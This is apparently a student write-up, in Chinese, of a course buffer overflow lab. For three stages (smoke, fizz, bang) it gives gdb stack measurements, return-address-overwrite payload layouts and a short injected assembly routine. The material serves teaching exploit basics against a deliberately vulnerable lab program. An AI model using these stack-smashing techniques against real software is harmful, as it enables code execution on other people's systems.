本实验即常见的缓冲区溢出攻击。(注:新的 64bit Win8/Linux 下这种简单方式无效,x86_64 cpu 的可执行标志位 exec-shield,gcc 栈保护选项开关 -fno-stack-protector)

主函数为 test(),首先声明一个局部变量 volatile int local = 0xdeadbeef,volatile 是编译时不使用 register 优化,必须分配栈空间,后面的实验过程不能覆盖这个 local 变量。

然后就是存在缓冲区溢出漏洞的 getbuf 函数,也就是我们要操作的对象。

第一关

getbuf 函数

1
2
3
4
5
6
(gdb)p $rbp
$1 = (void *) 0x7fffffffb730
(gdb)p $rsp
$2 = (void *) 0x7fffffffb700
(gdb)p &buf
$3 = (char (*)[36]) 0x7fffffffb700

&buf 到 %rbp 距离 48(0x30) Byte,加上 old %rbp 和 return address,一共 64 Byte

smoke.txt 内容应该是

1
2
3
48 Byte 无意义内容
8 Byte old %rbp
8 Byte smoke 函数地址  (intel 是 little endian)

第二关

fizz 函数一共有7个参数,前6个进 register,最后一个参数 val 进栈

fizz.txt 内容应该是

1
2
3
4
5
48 Byte 无意义内容
8 Byte old %rbp
8 Byte fizz 函数地址
8 Byte fizz 函数返回地址(这个可以是任意值)
8 Byte val 参数值 (makecookie得到的值)

第三关

修改全局变量 global_value 等于 cookie,并跳转到指定函数 bang

bang.txt 内容应该是

1
2
3
4
指令代码
填充够 48 Byte 无意义内容
8 Byte old %rbp
8 Byte buff 首地址

bang.s

1
2
3
4
movq 0x602320, %r9
movq %r9, 0x602308
pushq $0x401020
retq